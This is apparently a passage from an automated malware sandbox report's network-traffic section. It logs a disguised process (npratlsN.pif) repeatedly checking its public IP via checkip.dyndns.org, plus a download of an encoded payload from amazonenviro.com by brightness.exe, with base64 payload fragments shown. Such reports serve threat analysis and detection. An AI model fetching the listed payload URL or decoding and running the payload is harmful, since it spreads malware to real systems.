                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        12192.168.2.452765132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:39.857902050 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:40.663194895 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:40 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        13192.168.2.452767132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:41.669322968 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:42.570863008 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:42 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        14192.168.2.452768132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:42.565793991 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:43.489461899 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:43 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                        Jan 14, 2025 08:08:43.494108915 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:43.837888956 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:43 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                        Jan 14, 2025 08:08:45.116780043 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:45.444053888 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:45 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        15192.168.2.452770132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:43.375812054 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:44.360202074 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:44 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        16192.168.2.452773132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:45.067121983 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:45.897196054 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:45 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        17192.168.2.452777132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:46.094517946 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:46.930382967 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:46 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        18192.168.2.452778132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:46.491415977 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:47.297735929 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:47 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        19192.168.2.452781132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:47.558037996 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:48.395697117 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:48 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        20192.168.2.452784132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:49.011588097 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:49.845804930 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:49 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        21192.168.2.452786132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:50.446115017 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:51.267903090 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:51 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        22192.168.2.452788132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:51.867625952 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:52.689090014 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:52 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        23192.168.2.452791132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:53.299577951 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:54.134176970 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:54 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        24192.168.2.452793132.226.8.169806036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:54.757535934 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:55.595376968 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:55 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        HTTPS Proxied Packets

                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        0192.168.2.449742166.62.27.1884438092C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:14 UTC171OUTGET /admin/245_Nsltarpncon HTTP/1.1
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Accept: */*
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                        Host: amazonenviro.com
                                                                                                                                                        2025-01-14 07:08:14 UTC269INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:14 GMT
                                                                                                                                                        Server: Apache
                                                                                                                                                        Upgrade: h2,h2c
                                                                                                                                                        Connection: Upgrade, close
                                                                                                                                                        Last-Modified: Fri, 10 Jan 2025 16:03:39 GMT
                                                                                                                                                        ETag: "2ca4707-bf154-62b5c3ce70cd3"
                                                                                                                                                        Accept-Ranges: bytes
                                                                                                                                                        Content-Length: 782676
                                                                                                                                                        Vary: Accept-Encoding
                                                                                                                                                        2025-01-14 07:08:14 UTC7923INData Raw: 37 75 41 62 2b 4b 74 68 6d 62 75 45 65 38 7a 76 74 57 47 56 6b 6c 49 44 69 75 5a 4d 45 42 46 72 53 76 4f 66 31 6d 51 4b 43 35 68 42 45 48 69 39 4d 79 57 6e 50 68 69 42 75 45 59 4b 70 54 6f 54 67 4b 6f 37 45 59 30 74 46 33 65 79 4c 42 47 6d 4f 51 74 33 70 78 6f 2f 73 68 30 35 30 70 64 78 31 47 48 35 4c 55 58 71 37 46 48 41 45 6b 44 57 70 68 55 32 71 51 6f 7a 4d 76 2b 48 54 37 75 6e 73 2b 48 6a 58 43 79 7a 46 66 4e 72 73 55 6a 71 65 52 54 30 65 62 6c 4b 36 6e 4d 67 4b 64 4c 49 4c 42 68 31 5a 2f 2f 59 7a 4b 65 35 5a 33 72 6b 38 45 53 33 34 44 47 6d 35 79 6e 70 77 2b 42 45 6b 4d 6b 39 37 62 47 61 49 48 43 6f 5a 67 64 72 32 43 46 33 79 55 41 6d 4a 4a 53 78 38 65 4a 78 57 50 42 35 78 6b 4b 6d 63 31 38 44 66 72 73 32 6a 48 6f 6a 53 35 76 63 5a 34 36 79 54 31 6d
                                                                                                                                                        Data Ascii: 7uAb+KthmbuEe8zvtWGVklIDiuZMEBFrSvOf1mQKC5hBEHi9MyWnPhiBuEYKpToTgKo7EY0tF3eyLBGmOQt3pxo/sh050pdx1GH5LUXq7FHAEkDWphU2qQozMv+HT7uns+HjXCyzFfNrsUjqeRT0eblK6nMgKdLILBh1Z//YzKe5Z3rk8ES34DGm5ynpw+BEkMk97bGaIHCoZgdr2CF3yUAmJJSx8eJxWPB5xkKmc18Dfrs2jHojS5vcZ46yT1m
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 4e 68 35 61 49 6b 6b 7a 48 42 51 70 79 54 31 6b 4a 64 6c 62 62 6b 6a 35 55 68 39 35 4a 69 66 56 55 68 50 51 64 6d 6a 38 49 71 38 79 52 50 4c 33 36 53 4e 52 77 31 6e 31 55 41 58 54 6c 55 4a 51 45 52 41 71 69 6e 63 4a 51 4d 2f 62 31 31 6e 61 75 39 51 70 6b 37 75 30 6d 4a 4e 44 37 67 77 63 53 37 79 2f 74 67 39 39 4e 64 7a 74 2f 65 50 42 31 42 57 78 74 66 65 46 70 51 37 47 47 4d 32 56 37 4e 46 2f 36 33 6c 50 49 63 76 6d 48 69 52 71 6d 66 49 54 48 46 59 30 4a 41 58 79 50 5a 38 76 70 4b 76 66 49 77 6c 5a 2b 79 65 41 77 75 78 6c 6b 57 38 42 56 4e 72 35 6d 7a 30 33 54 33 6c 30 55 51 7a 39 4a 64 68 4d 36 54 39 36 63 54 6e 59 41 4c 69 49 45 58 6e 62 62 57 6a 78 6c 76 34 77 4f 4f 43 66 69 38 6d 2b 32 2b 66 4c 73 41 45 72 5a 52 71 55 72 49 68 73 4c 73 68 36 68 71 35
                                                                                                                                                        Data Ascii: Nh5aIkkzHBQpyT1kJdlbbkj5Uh95JifVUhPQdmj8Iq8yRPL36SNRw1n1UAXTlUJQERAqincJQM/b11nau9Qpk7u0mJND7gwcS7y/tg99Ndzt/ePB1BWxtfeFpQ7GGM2V7NF/63lPIcvmHiRqmfITHFY0JAXyPZ8vpKvfIwlZ+yeAwuxlkW8BVNr5mz03T3l0UQz9JdhM6T96cTnYALiIEXnbbWjxlv4wOOCfi8m+2+fLsAErZRqUrIhsLsh6hq5
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 43 7a 34 2b 68 6c 45 6d 45 6a 6b 53 7a 79 6e 30 6a 4f 78 59 79 4f 35 70 67 59 30 6e 6d 6f 74 44 4d 62 4e 4e 4f 4a 43 62 31 4d 58 5a 48 58 62 52 52 54 44 4c 76 57 61 70 38 44 30 38 4b 38 65 4b 67 34 46 5a 74 30 38 63 54 78 58 76 64 77 32 52 7a 79 58 6f 6b 4a 74 64 31 67 5a 61 34 36 32 44 6c 66 2b 7a 75 38 57 49 6b 4a 6e 67 37 39 63 7a 4e 77 6f 69 45 68 49 63 57 6f 6c 54 61 7a 2b 53 6f 78 4f 70 67 70 30 73 4a 58 6e 59 59 38 66 53 57 2f 53 31 2f 50 4e 61 62 77 39 39 44 4b 50 42 42 6e 6e 4b 68 78 6c 67 67 70 68 77 70 74 2b 5a 66 75 2f 57 74 35 37 6a 72 63 6c 57 55 52 44 2b 5a 39 7a 6e 34 4a 61 4a 6a 76 51 58 2f 35 37 69 32 52 57 36 7a 32 2b 4a 6e 30 33 37 7a 4e 6d 6b 48 49 48 78 76 48 33 78 6a 42 56 7a 67 6b 33 49 31 72 59 71 2b 76 38 49 4d 6f 47 49 6a 50 66
                                                                                                                                                        Data Ascii: Cz4+hlEmEjkSzyn0jOxYyO5pgY0nmotDMbNNOJCb1MXZHXbRRTDLvWap8D08K8eKg4FZt08cTxXvdw2RzyXokJtd1gZa462Dlf+zu8WIkJng79czNwoiEhIcWolTaz+SoxOpgp0sJXnYY8fSW/S1/PNabw99DKPBBnnKhxlggphwpt+Zfu/Wt57jrclWURD+Z9zn4JaJjvQX/57i2RW6z2+Jn037zNmkHIHxvH3xjBVzgk3I1rYq+v8IMoGIjPf
